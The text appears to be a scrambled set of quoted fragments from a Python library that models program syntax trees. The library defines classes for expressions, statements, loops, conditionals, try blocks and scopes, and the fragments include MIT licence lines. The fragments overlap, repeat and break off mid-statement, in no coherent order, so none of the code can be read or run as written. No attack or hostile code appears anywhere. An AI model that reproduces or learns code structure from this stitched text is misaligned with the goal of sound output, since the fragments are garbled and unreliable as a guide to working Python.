'\\n{}finally:\\n'.format(spaces) pretty += self.finally_body.pretty_str(indent=indent + 2)", "not None and not isinstance(codeobj, cls): codeobj = codeobj.parent return", "and i >= -n: if i >= o - n:", "If a class is defined within another class (inner class),", "\"\"\"Whether this is a local variable. In general, a variable", "paren=False): \"\"\"Constructor for literals. As literals have no name, a", "conditional branch and the default branch.\"\"\" if self.else_branch: return [self.then_branch,", "This object's parent in the program tree. id: An unique", "operators. Args: scope (CodeEntity): The program scope where this object", "return '{}[{}:{}] {}{}: {}'.format(prefix, line, col, name, result, spell) def", "scope, parent, name, result, paren=False): \"\"\"Constructor for references. Args: scope", "__init__(self, scope, parent): \"\"\"Constructor for declaration statements. Args: scope (CodeEntity):", "the program tree. \"\"\" CodeStatement.__init__(self, scope, parent) self.body = CodeBlock(scope,", "' * indent pretty = '{}({})' if self.parenthesis else '{}{}'", "represents a loop (e.g. `while`, `for`). Some languages allow loops", "n: if i < o: return self.body.statement(i) return self.else_body.statement(i -", "this object.\"\"\" for value in self.value: if isinstance(value, CodeEntity): yield", "_children(self): \"\"\"Yield all direct children of this object.\"\"\" if self.method_of:", "A conditional is allowed to have a default branch (the", "this is a global variable. In general, a variable is", "' * indent decls = ('...' if self.declarations is None", "return n def __repr__(self): \"\"\"Return a string representation of this", "to use as indentation. \"\"\" return (' ' * indent)", "CodeBlock(scope, self, explicit=True) def _set_declarations(self, declarations): \"\"\"Set declarations local to", "and thus should return # an empty iterator. return iter(())", "`return 0`). \"\"\" def __init__(self, scope, parent, name): \"\"\"Constructor for", "self.body = CodeBlock(scope, self, explicit=True) def _set_declarations(self, declarations): \"\"\"Set declarations", "in self._children(): for descendant in child.walk_preorder(): yield descendant def filter(self,", "represents an unknown value for diverse primitive types.\"\"\" def __init__(self,", "after the object is fully built. \"\"\" if hasattr(self, '_fi'):", "parent in the program tree. Kwargs: expression (CodeExpression): The expression", "condition def _set_body(self, body): \"\"\"Set the main body for this", "CodeNamespace)) @property def is_parameter(self): \"\"\"Whether this is a function parameter.\"\"\"", "this try block structure. \"\"\" assert isinstance(catch_block, self.CodeCatchBlock) self.catches.append(catch_block) def", "is an instance of a given class.\"\"\" codeobj = self.parent", "catch_block._children(): yield codeobj for codeobj in self.finally_body._children(): yield codeobj def", "\"\"\" CodeExpression.__init__(self, scope, parent, name, result, paren) self.field_of = None", "of literal whose value is compound, rather than simple. An", "self.references = [] self._definition = self if definition else None", "a pair of condition and respective body.\"\"\" return [(self.condition, self.body)]", "__repr__(self): \"\"\"Return a string representation of this object.\"\"\" return '{}", "`id` that identifies it in the program and a list", "notice and this permission notice shall be included in #all", "loops). Control flow statements are assumed to have, at least,", "spell = getattr(self, 'name', '[no spelling]') result = ' ({})'.format(self.result)", "scope, parent, name): \"\"\"Constructor for control flow structures. Args: scope", "class represents a composite literal. A composite literal is any", "this is a definition or a declaration of the class.\"\"\"", "variable, class) to this object.\"\"\" assert isinstance(codeobj, (CodeNamespace, CodeClass, CodeFunction,", "return '[unknown]' class CodeStatementGroup(object): \"\"\"This class is meant to provide", "set. If the reference is a field/attribute of an object,", "literal is enclosed in parentheses. \"\"\" CodeLiteral.__init__(self, scope, parent, None,", "def _set_condition(self, condition): \"\"\"Set the condition for this control flow", "values, operators, references and function calls. This class is meant", "parent object that is an instance of a given class.\"\"\"", "self.arguments)) if self.is_constructor: return '[{}] new {}({})'.format(self.result, self.name, args) if", "self, explicit=True) def _set_body(self, body): \"\"\"Set the main body for", "Entities --------------------------------------------------- class CodeExpression(CodeEntity): \"\"\"Base class for expressions within a", "the object is fully built. \"\"\" for codeobj in self.children:", "if isinstance(codeobj, CodeExpression): yield codeobj def pretty_str(self, indent=0): \"\"\"Return a", "\"\"\"Return a list of branches, where each branch is a", "< o - n and k > -n: return self.body.statement(k)", "conditionals. Args: scope (CodeEntity): The program scope where this object", "inheritance purposes. It defines the length of a statement group,", "'.join(map(pretty_str, self.value))) if self.parenthesis: return '{}({})'.format(indent, values) return '{}{}'.format(indent, values)", "CodeExpression.TYPES) self.arguments = self.arguments + (codeobj,) def _children(self): \"\"\"Yield all", "a statement group, and provides methods for integer-based indexing of", "a list of branches, where each branch is a pair", "present in Python. This class is meant to represent a", "and a reference to the called function. If a call", "and associated documentation files (the \"Software\"), to deal #in the", "result = ' ({})'.format(self.result) if hasattr(self, 'result') else '' prefix", "self.__str__() def ast_str(self, indent=0): \"\"\"Return a minimal string to print", "well as an increment statement. A loop has only a", "contexts, e.g. an `if` statement omitting curly braces in C,", "def ast_str(self, indent=0): \"\"\"Return a minimal string to print a", "self.body.statement(i) def statement_after(self, i): \"\"\"Return the statement after the *i*-th", "pretty.format(spaces, name) def __str__(self): \"\"\"Return a string representation of this", "(class): The class to use as a filter. Kwargs: recursive", "type(self).__name__ spell = getattr(self, 'name', '[no spelling]') result = '", "if isinstance(value, CodeEntity): yield value def pretty_str(self, indent=0): \"\"\"Return a", "self.id = id_ self.name = name self.members = [] self.superclasses", "'{}{}' if self.is_unary: operator = self.name + pretty_str(self.arguments[0]) else: operator", "If the reference is a field/attribute of an object, `field_of`", "\"\"\"Add a default branch to this switch.\"\"\" self.default_case = statement", "definition or just a declaration.\"\"\" return self._definition is self @property", "None: return '{}{} {}'.format(indent, self.name, pretty_str(self.value)) return indent + self.name", "is not None and not isinstance(codeobj, cls): codeobj = codeobj.parent", "Additionally, a variable has an `id` which uniquely identifies it", "(`values`), a type (`result`), and it should indicate whether it", "condition plus the body that should be repeated while the", "this control flow structure.\"\"\" assert isinstance(body, CodeStatement) if isinstance(body, CodeBlock):", "return (' ' * indent) + self.__str__() def ast_str(self, indent=0):", "indentation. \"\"\" return '{}{} {} = {}'.format(' ' * indent,", "self.children ) # ----- Expression Entities --------------------------------------------------- class CodeExpression(CodeEntity): \"\"\"Base", "omitting curly braces in C, C++, Java, etc. This model", "if self.parenthesis else '{}{}' args = ', '.join(map(pretty_str, self.arguments)) if", "and a list of children objects (variables, functions or classes).", "\"\"\"Constructor for global scope objects.\"\"\" CodeEntity.__init__(self, None, None) self.children =", "call) def __repr__(self): \"\"\"Return a string representation of this object.\"\"\"", "+ 2) for c in self.children) return pretty def __repr__(self):", "represents a program function. A function typically has a name,", "CodeBlock(scope, self, explicit=True) self.catches = [] self.finally_body = CodeBlock(scope, self,", "@property def is_ternary(self): \"\"\"Whether this is a ternary operator.\"\"\" return", "of this object.\"\"\" return 'catch ({}) {}'.format(self.declarations, self.body) def pretty_str(self,", "is executed when the condition is met). Specific implementations may", "it may also have an associated value (e.g. `return 0`).", "has null references, C/C++ NULL pointers, Python None and so", "PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR", "the code. \"\"\" CodeStatement.__init__(self, scope, parent) self.body = [] self.explicit", "paren) def _children(self): \"\"\"Yield all the children of this object,", "body (a code block). It also has an unique `id`", "code objects have a file name, a line number, a", "The return type of the argument in the program. \"\"\"", "i): \"\"\"Return the *i*-th statement of this block. Behaves as", "class for all programming entities. All code objects have a", "for functions. Args: scope (CodeEntity): The program scope where this", "* indent decls = ('...' if self.declarations is None else", "self, explicit=False) def get_branches(self): \"\"\"Return a list of branches, where", "result): \"\"\"Constructor for unknown values.\"\"\" CodeExpression.__init__(self, None, None, result, result)", "name of the operator in the program. result (str): The", "def is_local(self): \"\"\"Whether this is a local variable. In general,", "is met). A control flow statement typically has a name.", "expression statement. It is only a wrapper. Many programming languages", "+ len(self.catches) + len(self.finally_body) n += sum(map(len, self.catches)) return n", "the expression in the program. result (str): The return type", "statement in the program. \"\"\" CodeControlFlow.__init__(self, scope, parent, name) self.declarations", "_add(self, codeobj): \"\"\"Add a child (argument) to this object.\"\"\" assert", "all direct children of this object.\"\"\" for codeobj in self.arguments:", "isinstance(something, CodeEntity): return something.pretty_str(indent=indent) else: return (' ' * indent)", "self) that are instances of a given class. Args: cls", "more than collections of statements, while being considered a statement", "None self.reference = None @property def is_constructor(self): \"\"\"Whether the called", "branches, where each branch is a pair of condition and", "__init__(self, scope, parent): \"\"\"Constructor for conditionals. Args: scope (CodeEntity): The", "is a member/attribute of a class or object.\"\"\" return isinstance(self.scope,", "have a file name, a line number, a column number,", "This object's parent in the program tree. value (CodeExpression|CodeExpression[]): This", "result self.parenthesis = paren @property def function(self): \"\"\"The function where", "CodeFunction) and self not in self.scope.parameters)) @property def is_global(self): \"\"\"Whether", "In Java, it may be the same as a class,", "going down.\"\"\" yield self for child in self._children(): for descendant", "that is executed after the other blocks (either the `try`", "to this try block structure. \"\"\" assert isinstance(catch_block, self.CodeCatchBlock) self.catches.append(catch_block)", "parentheses. \"\"\" CodeEntity.__init__(self, scope, parent) self.name = name self.result =", "__len__(self): \"\"\"Return the length of the statement group.\"\"\" return len(self.body)", "should be set to the corresponding class. \"\"\" def __init__(self,", "self.body) else: return (' ' * indent) + '[empty]' def", "call = 'new {}({})'.format(self.name, args) else: call = '{}({})'.format(self.name, args)", "codeobj.arguments and isinstance(codeobj.arguments[0], CodeReference): var = codeobj.arguments[0].reference if isinstance(var, CodeVariable):", "codeobj def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation of", "functions), a list of superclasses, and a list of references.", "is enclosed in parentheses. \"\"\" try: value = list(value) except", "plus the body that should be repeated while the condition", "for block in self.catches: pretty += '\\n' + block.pretty_str(indent) if", "human-readable string representation of an object. Uses `pretty_str` if the", "literal types not present in Python. This class is meant", "self.is_constructor: pretty = '{}{}({}):\\n'.format(spaces, self.name, params) else: pretty = '{}{}", "class CodeEntity(object): \"\"\"Base class for all programming entities. All code", "pointers, Python None and so on. \"\"\" def __init__(self, scope,", "Java, etc. This model assumes that control flow branches and", "result, paren=False): \"\"\"Constructor for literals. As literals have no name,", "self.method_of: call = '{}.{}({})'.format(self.method_of.pretty_str(), self.name, args) elif self.is_constructor: call =", "(e.g. `{}` in C, C++, Java, etc.). Blocks are little", "self.body.append(codeobj) def _children(self): \"\"\"Yield all direct children of this object.\"\"\"", "etc. This model assumes that control flow branches and functions", "self.scope = scope self.parent = parent self.file = None self.line", "class CodeDefaultArgument(CodeExpression): \"\"\"This class represents a default argument. Some languages,", "in the program. Kwargs: paren (bool): Whether the expression is", "this implementation might be lackluster. \"\"\" def __init__(self, scope, parent):", "self._definition is self def _add(self, codeobj): \"\"\"Add a child (function,", "default values when not explicitly provided by the programmer. This", "a call references a class method, its `method_of` should be", "to this loop (e.g. `for` variables).\"\"\" assert isinstance(declarations, CodeStatement) self.declarations", "constructor.\"\"\" return self.member_of is not None def _add(self, codeobj): \"\"\"Add", "in self.body._children(): yield codeobj def pretty_str(self, indent=0): \"\"\"Return a human-readable", "pretty += self.body.pretty_str(indent=indent + 2) for block in self.catches: pretty", "better candidates, it is the `scope` and `parent` of all", "literal in the program. Kwargs: paren (bool): Whether the literal", "\"\"\" if self.body: return '\\n'.join(stmt.pretty_str(indent) for stmt in self.body) else:", "be a module. In Java, it may be the same", "the program tree. name (str): The name of the function", "\"\"\"This class represents a jump statement (e.g. `return`, `break`). A", "self.result = result self.parameters = [] self.body = CodeBlock(self, self,", "self.name) class SomeValue(CodeExpression): \"\"\"This class represents an unknown value for", "object's parent in the program tree. Kwargs: expression (CodeExpression): The", "in this composition. result (str): The return type of the", "unknown values.\"\"\" CodeExpression.__init__(self, None, None, result, result) def _children(self): \"\"\"Yield", "this object.\"\"\" return str(self.variables) class CodeControlFlow(CodeStatement, CodeStatementGroup): \"\"\"Base class for", "[] self.superclasses = [] self.member_of = None self.references = []", "descendants (including self) that are instances of a given class.", "statement(self, i): \"\"\"Return the *i*-th statement of this block. Behaves", "A class typically has a name, an unique `id`, a", "a `catch` block, when an exception is raised and handled).", "o - n and k > -n: return self.body.statement(k) if", "indent pretty = '{}({})' if self.parenthesis else '{}{}' name =", "Whether the expression is enclosed in parentheses. \"\"\" CodeExpression.__init__(self, scope,", "children of this object.\"\"\" for codeobj in self.body._children(): yield codeobj", "a return type. \"\"\" def __init__(self, scope, parent, result): \"\"\"Constructor", "yield self.declarations if isinstance(self.condition, CodeExpression): yield self.condition if self.increment: yield", "direct children of this object.\"\"\" # The default implementation has", "indent pretty = '{}({})' if self.parenthesis else '{}{}' if self.is_unary:", "for codeobj in self.else_body._children(): yield codeobj def pretty_str(self, indent=0): \"\"\"Return", "return [self.then_branch, self.else_branch] return [self.then_branch] def _add_default_branch(self, body): \"\"\"Add a", "condition holds. \"\"\" def __init__(self, scope, parent, name): \"\"\"Constructor for", "self.parenthesis else '{}{}' name = ('{}.{}'.format(self.field_of.pretty_str(), self.name) if self.field_of else", "self.body.pretty_str(indent=indent + 2) return pretty class CodeSwitch(CodeControlFlow): \"\"\"This class represents", "a function, for instance. A declaration statement contains a list", "return self.result == self.name def _add(self, codeobj): \"\"\"Add a child", "isinstance(self.value, CodeEntity): yield self.value def pretty_str(self, indent=0): \"\"\"Return a human-readable", "function in the program. \"\"\" CodeEntity.__init__(self, scope, parent) self.id =", "self.is_unary: operator = self.name + pretty_str(self.arguments[0]) else: operator = '{}", "or a namespace. \"\"\" return isinstance(self.scope, (CodeGlobalScope, CodeNamespace)) @property def", "\"\"\"Constructor for operators. Args: scope (CodeEntity): The program scope where", "literals. Args: scope (CodeEntity): The program scope where this object", "this object is a valid construct.\"\"\" return True def _children(self):", "tree. name (str): The name of the statement in the", "indent condition = pretty_str(self.condition) v = self.declarations.pretty_str() if self.declarations else", "pass def _validity_check(self): \"\"\"Check whether this object is a valid", "_add(self, codeobj): \"\"\"Add a child (function, variable, class) to this", "a default branch (the `else` branch), besides its mandatory one.", "in #all copies or substantial portions of the Software. #THE", "for c in self.members ) else: pretty += spaces +", "'[class {}]'.format(self.name) class CodeNamespace(CodeEntity): \"\"\"This class represents a program namespace.", "representation of this object.\"\"\" return self.__repr__() def __repr__(self): \"\"\"Return a", "associated value (e.g. `return 0`). \"\"\" def __init__(self, scope, parent,", "a reference to such object, instead of `None`. \"\"\" def", "also support ternary operators. Do note that assignments are often", "the program tree. name (str): The name of the namespace", "\"\"\" CodeEntity.__init__(self, scope, parent) self.name = name self.children = []", "of this object.\"\"\" if self.field_of: return '[{}] ({}).{}'.format(self.result, self.field_of, self.name)", "has a sequence of values that compose it (`values`), a", "pretty def __repr__(self): \"\"\"Return a string representation of this object.\"\"\"", "def _set_field(self, codeobj): \"\"\"Set the object that contains the attribute", "expression of this statement. \"\"\" CodeStatement.__init__(self, scope, parent) self.expression =", "of this object.\"\"\" return '[namespace {}]'.format(self.name) class CodeGlobalScope(CodeEntity): \"\"\"This class", "\"\"\" CodeExpression.__init__(self, scope, parent, name, result, paren) self.full_name = name", "respective body.\"\"\" return [(self.condition, self.body)] def _set_condition(self, condition): \"\"\"Set the", "codeobj in source() if isinstance(codeobj, cls) ] def _afterpass(self): \"\"\"Finalizes", "of this object.\"\"\" return '[{}] {} = ({})'.format(self.result, self.name, self.value)", "self._definition is self @property def is_constructor(self): \"\"\"Whether this function is", "program tree. \"\"\" CodeStatement.__init__(self, scope, parent) self.body = CodeBlock(scope, self,", "_set_declarations(self, declarations): \"\"\"Set declarations local to this catch block.\"\"\" assert", "\"\"\" CodeStatement.__init__(self, scope, parent) self.variables = [] def _add(self, codeobj):", "def __init__(self, scope, parent, name, result, args=None, paren=False): \"\"\"Constructor for", "[declaration]' return pretty def __repr__(self): \"\"\"Return a string representation of", "a class, or non-existent. A namespace typically has a name", "persons to whom the Software is #furnished to do so,", "def __init__(self, scope, parent, name): \"\"\"Constructor for loops. Args: scope", "* indent) + self.name def __repr__(self): \"\"\"Return a string representation", "references. Args: scope (CodeEntity): The program scope where this object", "return tuple(self.value) def _add_value(self, child): \"\"\"Add a value to the", "a name and a list of children objects (variables, functions", "then declares at least one branch (*cases*) that execute when", "= ('{}.{}'.format(self.field_of.pretty_str(), self.name) if self.field_of else self.name) return pretty.format(spaces, name)", "one, or `None`.\"\"\" k = i + 1 o =", "called function), a return type, a tuple of its arguments", "of branches, where each branch is a pair of condition", "k > -n: return self.body.statement(k) if k > o -", "self, explicit=True) self.catches = [] self.finally_body = CodeBlock(scope, self, explicit=True)", "codeobj): \"\"\"Set the object on which a method is called.\"\"\"", "statement. A loop has only a single branch, its condition", "class represents a conditional (`if`). A conditional is allowed to", "there are no better candidates, it is the `scope` and", "spaces = ' ' * indent condition = pretty_str(self.condition) pretty", "name): \"\"\"Constructor for control flow structures. Args: scope (CodeEntity): The", "ANY CLAIM, DAMAGES OR OTHER #LIABILITY, WHETHER IN AN ACTION", "scope, parent) self.id = id_ self.name = name self.members =", "assert isinstance(codeobj, CodeExpression.TYPES) self.value = codeobj def _children(self): \"\"\"Yield all", "class represents an operator expression (e.g. `a + b`). Operators", "a declaration of the class.\"\"\" return self._definition is self def", "a default branch to this switch.\"\"\" self.default_case = statement def", "references, C/C++ NULL pointers, Python None and so on. \"\"\"", "it is the `scope` and `parent` of all other objects.", "self.default_case = statement def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "sum(map(len, self.catches)) return n def __repr__(self): \"\"\"Return a string representation", "self.expression def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation of", "parent) self.id = id_ self.name = name self.members = []", "'{}[{}:{}] {}{}: {}'.format(prefix, line, col, name, result, spell) def __str__(self):", "id: An unique identifier for this function. name (str): The", "self.name, pretty_str(self.arguments[1])) return pretty.format(indent, operator) def __repr__(self): \"\"\"Return a string", "is a constructor.\"\"\" return self.result == self.name def _add(self, codeobj):", "for stmt in self.body) else: return (' ' * indent)", "languages. A class typically has a name, an unique `id`,", "self._lookup_parent(CodeStatement) def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation of", "iterator. return iter(()) def _lookup_parent(self, cls): \"\"\"Lookup a transitive parent", "__init__(self, scope, parent, explicit=True): \"\"\"Constructor for code blocks. Args: scope", "at least, one branch (a boolean condition and a `CodeBlock`", "CodeBlock(self, self, explicit=True) self.member_of = None self.references = [] self._definition", "increment statement. A loop has only a single branch, its", "it should have its `member_of` set to the corresponding class.", "the attribute this is a reference of.\"\"\" assert isinstance(codeobj, CodeExpression)", "contains the attribute this is a reference of.\"\"\" assert isinstance(codeobj,", "for literals. As literals have no name, a constant string", "in the program tree. \"\"\" CodeControlFlow.__init__(self, scope, parent, 'if') self.else_body", "of references to it and a list of statements that", "def is_definition(self): \"\"\"Whether this is a function definition or just", "conditional.\"\"\" return True, self.else_body def statement(self, i): \"\"\"Return the *i*-th", "be a statement on its own, but also returns a", "+= '\\n' + block.pretty_str(indent) if len(self.finally_body) > 0: pretty +=", "for control flow structures. Args: scope (CodeEntity): The program scope", "\"\"\"Yield all the children of this object, that is no", "is enclosed in parentheses. \"\"\" CodeExpression.__init__(self, scope, parent, 'literal', result,", "@property def is_definition(self): \"\"\"Whether this is a definition or a", "parent): \"\"\"Constructor for try block structures. Args: scope (CodeEntity): The", "CodeControlFlow.__init__(self, scope, parent, name) self.declarations = None self.increment = None", "_add(self, codeobj): \"\"\"Add a child (variable) to this object.\"\"\" assert", ") else: pretty += spaces + ' [declaration]' return pretty", "type, and a tuple of its arguments. \"\"\" _UNARY_TOKENS =", "if self.else_branch: return [self.then_branch, self.else_branch] return [self.then_branch] def _add_default_branch(self, body):", "use as a filter. Kwargs: recursive (bool): Whether to descend", "self.statement(i) def __len__(self): \"\"\"Return the length of the statement group.\"\"\"", "the *i*-th statement of this block.\"\"\" return self.body[i] def _add(self,", "_children(self): \"\"\"Yield all direct children of this object.\"\"\" for value", "str(self.variables) class CodeControlFlow(CodeStatement, CodeStatementGroup): \"\"\"Base class for control flow structures", "\"\"\" source = self.walk_preorder if recursive else self._children return [", "elif i < 0 and i >= -n: if i", "The amount of spaces to use as indentation. \"\"\" indent", "a new list and # returning a custom exception message.", "of the namespace in the program. \"\"\" CodeEntity.__init__(self, scope, parent)", "self.name, args) return '[{}] {}({})'.format(self.result, self.name, args) class CodeDefaultArgument(CodeExpression): \"\"\"This", "body) return pretty ############################################################################### # Helpers ############################################################################### def pretty_str(something, indent=0):", "Python, the closest thing should be a module. In Java,", "def is_constructor(self): \"\"\"Whether the called function is a constructor.\"\"\" return", "parent): \"\"\"Constructor for conditionals. Args: scope (CodeEntity): The program scope", "is declared directly under the program's global scope or a", "children of this object.\"\"\" for codeobj in self.children: yield codeobj", "scope, parent): \"\"\"Constructor for declaration statements. Args: scope (CodeEntity): The", "EVENT SHALL THE #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR", "+ self.name def __repr__(self): \"\"\"Return a string representation of this", "list of children objects (variables, functions or classes). \"\"\" def", "\"\"\"Constructor for code blocks. Args: scope (CodeEntity): The program scope", "An expression typically has a name (e.g. the name of", "(e.g. `a + b`). Operators can be unary or binary,", "= name self.arguments = () self.method_of = None self.reference =", "i < o: return self.body.statement(i) return self.else_body.statement(i - o) elif", "collection holding this object. \"\"\" def __init__(self, scope, parent): \"\"\"Base", "@property def is_binary(self): \"\"\"Whether this is a binary operator.\"\"\" return", "functions, code blocks). It is not meant to be instantiated", "= None def _set_field(self, codeobj): \"\"\"Set the object that contains", "codeobj for catch_block in self.catches: for codeobj in catch_block._children(): yield", "= codeobj.parent return codeobj def pretty_str(self, indent=0): \"\"\"Return a human-readable", "({}):\\n'.format(spaces, condition) pretty += self.body.pretty_str(indent=indent + 2) return pretty class", "assignment operator, which can be a statement on its own,", "loop has only a single branch, its condition plus the", "has a name, a type (`result`) and a value (or", "value to convert. Kwargs: indent (int): The amount of spaces", "self._definition is not self: pretty += spaces + ' [declaration]'", "for indexing purposes. \"\"\" # ----- This code is just", "the control flow statement in the program. \"\"\" CodeStatement.__init__(self, scope,", "def function(self): \"\"\"The function where this statement appears in.\"\"\" return", "this object.\"\"\" return '[class {}]'.format(self.name) class CodeNamespace(CodeEntity): \"\"\"This class represents", "\"\"\"The default branch of the conditional.\"\"\" return True, self.else_body def", "('{}.{}'.format(self.field_of.pretty_str(), self.name) if self.field_of else self.name) return pretty.format(spaces, name) def", "AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, #OUT", "codeobj in self.body: yield codeobj def pretty_str(self, indent=0): \"\"\"Return a", "class is meant to represent a literal whose type is", "0 name = type(self).__name__ spell = getattr(self, 'name', '[no spelling]')", "= self def _children(self): \"\"\"Yield all direct children of this", "[] self._definition = self if definition else None @property def", "(`result`). Also, an expression should indicate whether it is enclosed", "and k > -n: return self.body.statement(k) if k > o", "self.parent while codeobj is not None and not isinstance(codeobj, cls):", "prefix = indent * '| ' return '{}[{}:{}] {}{}: {}'.format(prefix,", "CodeFunctionCall(CodeExpression): \"\"\"This class represents a function call. A function call", "unique `id`, a list of members (variables, functions), a list", "object's parent in the program tree. value (CodeExpression|CodeExpression[]): This literal's", "parent, name): \"\"\"Constructor for namespaces. Args: scope (CodeEntity): The program", "declarations): \"\"\"Set declarations local to this loop (e.g. `for` variables).\"\"\"", "of this concept: Java has null references, C/C++ NULL pointers,", "associated documentation files (the \"Software\"), to deal #in the Software", "\"\"\"This class represents a program function. A function typically has", "under the program's global scope or a namespace. \"\"\" return", "= '{}.{}({})'.format(self.method_of.pretty_str(), self.name, args) elif self.is_constructor: call = 'new {}({})'.format(self.name,", "register write operations to variables. This should only be called", "is *local* if its containing scope is a statement (e.g.", "def _add(self, codeobj): \"\"\"Add a child (function, variable, class) to", "try block structure. \"\"\" assert isinstance(catch_block, self.CodeCatchBlock) self.catches.append(catch_block) def _set_finally_body(self,", "def __init__(self, scope, parent, name, result, paren=False): \"\"\"Constructor for references.", "direct children of this object.\"\"\" for codeobj in self.members: yield", "= list(value) except TypeError as te: raise AssertionError(str(te)) CodeLiteral.__init__(self, scope,", "o: return self.body.statement(k) if k > o and k <", "represents an operator expression (e.g. `a + b`). Operators can", "set to the object on which a method is being", "self.arguments = self.arguments + (codeobj,) def _children(self): \"\"\"Yield all direct", "something: Some value to convert. Kwargs: indent (int): The amount", "common utility methods for objects that group multiple program statements", "'[empty]' def __repr__(self): \"\"\"Return a string representation of this object.\"\"\"", "isinstance(self.expression, CodeExpression): yield self.expression def pretty_str(self, indent=0): \"\"\"Return a human-readable", "(' ' * indent) + '[empty]' def __repr__(self): \"\"\"Return a", "@property def is_definition(self): \"\"\"Whether this is a function definition or", "__str__(self): \"\"\"Return a string representation of this object.\"\"\" return self.__repr__()", "codeobj.is_assignment: if codeobj.arguments and isinstance(codeobj.arguments[0], CodeReference): var = codeobj.arguments[0].reference if", "The number of indentation levels. \"\"\" line = self.line or", "program tree. result (str): The return type of the argument", "call references a class method, its `method_of` should be set", "indentation. \"\"\" if self.parenthesis: return (' ' * indent) +", "* '| ' return '{}[{}:{}] {}{}: {}'.format(prefix, line, col, name,", "+ b`). Operators can be unary or binary, and often", "of this object.\"\"\" if self.is_unary: return '[{}] {}({})'.format(self.result, self.name, self.arguments[0])", "line number, a column number, a programming scope (e.g. the", "and not instantiated directly. An expression typically has a name", "' * indent pretty = spaces + 'try:\\n' pretty +=", "in the program tree. value (iterable): The initial value sequence", "* indent pretty = '{}({})' if self.parenthesis else '{}{}' args", "such statements. In many languages, statements must be contained within", "or default branches (executed when no condition is met). A", "in self.variables) def __repr__(self): \"\"\"Return a string representation of this", "class.\"\"\" codeobj = self.parent while codeobj is not None and", "############################################################################### def pretty_str(something, indent=0): \"\"\"Return a human-readable string representation of", "arguments. paren (bool): Whether the expression is enclosed in parentheses.", "class represents a program class for object-oriented languages. A class", "this is a local variable. In general, a variable is", "> -n: return self.body.statement(k) if k > o - n:", "A common example is the assignment operator, which can be", "repr(self.expression) class CodeBlock(CodeStatement, CodeStatementGroup): \"\"\"This class represents a code block", "-n: return self.body.statement(k) if k > o - n: return", "portions of the Software. #THE SOFTWARE IS PROVIDED \"AS IS\",", "2, 3]`. A composite literal has a sequence of values", "program. \"\"\" CodeEntity.__init__(self, scope, parent) self.name = name self.children =", "yield codeobj def _afterpass(self): \"\"\"Call the `_afterpass()` of child objects.", "__repr__(self): \"\"\"Return a string representation of this object.\"\"\" return repr(self.expression)", "body): \"\"\"Set the main body for try block structure.\"\"\" assert", "@property def function(self): \"\"\"The function where this statement appears in.\"\"\"", "object.\"\"\" return '[namespace {}]'.format(self.name) class CodeGlobalScope(CodeEntity): \"\"\"This class represents the", "function, for instance. A declaration statement contains a list of", "class to use as a filter. Kwargs: recursive (bool): Whether", "\"\"\"Whether this is a ternary operator.\"\"\" return len(self.arguments) == 3", "Whether the literal is enclosed in parentheses. \"\"\" CodeExpression.__init__(self, scope,", "a loop (e.g. `while`, `for`). Some languages allow loops to", "languages such as C++, but less explicit in many others.", "(`if`). A conditional is allowed to have a default branch", "args = ', '.join(map(pretty_str, self.arguments)) if self.method_of: call = '{}.{}({})'.format(self.method_of.pretty_str(),", "superclasses + ')' pretty += ':\\n' if self.members: pretty +=", "`if` statement omitting curly braces in C, C++, Java, etc.", "return type. If the referenced entity is known, `reference` should", "such as C++, allow function parameters to have default values", "\"\"\" return isinstance(self.scope, (CodeGlobalScope, CodeNamespace)) @property def is_parameter(self): \"\"\"Whether this", "program tree. value (CodeExpression|CodeExpression[]): This literal's value. result (str): The", "of a class or object.\"\"\" return isinstance(self.scope, CodeClass) def _add(self,", "representation of an object. Uses `pretty_str` if the given value", "LIMITED TO THE WARRANTIES OF MERCHANTABILITY, #FITNESS FOR A PARTICULAR", "'' pretty = '{}for ({}; {}; {}):\\n'.format(spaces, v, condition, i)", "\">\", \"<=\", \">=\", \"==\", \"!=\", \"&&\", \"||\", \"=\") def __init__(self,", "indentation. \"\"\" return '\\n\\n'.join( codeobj.pretty_str(indent=indent) for codeobj in self.children )", "def _add_branch(self, value, statement): \"\"\"Add a branch/case (value and statement)", "and call their `_afterpass()`. This should only be called after", "and `repr` otherwise. Args: something: Some value to convert. Kwargs:", "pretty += self.body.pretty_str(indent=indent + 2) if self.else_body: pretty += '\\n{}else:\\n'.format(spaces)", "yield self.field_of def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation", "(executed when no condition is met). A control flow statement", "function call. A function call typically has a name (of", "This object's parent in the program tree. \"\"\" CodeEntity.__init__(self, scope,", "variables without a value or when the value is unknown).", "#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE", "of statements, just like regular blocks. Multiple `catch` blocks may", "program. The global scope is the root object of a", "and a tuple of its arguments. \"\"\" _UNARY_TOKENS = (\"+\",", "called.\"\"\" assert isinstance(codeobj, CodeExpression) self.method_of = codeobj def _children(self): \"\"\"Yield", "call) and a type (`result`). Also, an expression should indicate", "parent in the program tree. \"\"\" CodeStatement.__init__(self, scope, parent) self.body", "program class for object-oriented languages. A class typically has a", "object and register write operations to variables. This should only", "self.else_body def statement(self, i): \"\"\"Return the *i*-th statement of this", "statements (as if using a list). \"\"\" def statement(self, i):", "`body`.\"\"\" return self.body.statement(i) def statement_after(self, i): \"\"\"Return the statement after", "= ', '.join(map(pretty_str, self.arguments)) if self.method_of: call = '{}.{}({})'.format(self.method_of.pretty_str(), self.name,", "its condition plus the body that should be repeated while", "= len(self.body) self.body.append(codeobj) def _children(self): \"\"\"Yield all direct children of", "*i*-th statement of this block.\"\"\" return self.body[i] def _add(self, codeobj):", "i): \"\"\"Return the *i*-th statement from the object's `body`.\"\"\" return", "variables).\"\"\" assert isinstance(declarations, CodeStatement) self.declarations = declarations declarations.scope = self.body", "= self.arguments + (codeobj,) def _set_method(self, codeobj): \"\"\"Set the object", "object belongs. parent (CodeEntity): This object's parent in the program", "parent) self.expression = expression def _children(self): \"\"\"Yield all direct children", "in many others. In Python, the closest thing should be", "codeobj def _afterpass(self): \"\"\"Assign the `member_of` of child members and", "return type of the function in the program. \"\"\" CodeEntity.__init__(self,", "statements (e.g. return statements, control flow, etc.). This class provides", "return [(self.condition, self.body)] def _set_condition(self, condition): \"\"\"Set the condition for", "references. If a class is defined within another class (inner", 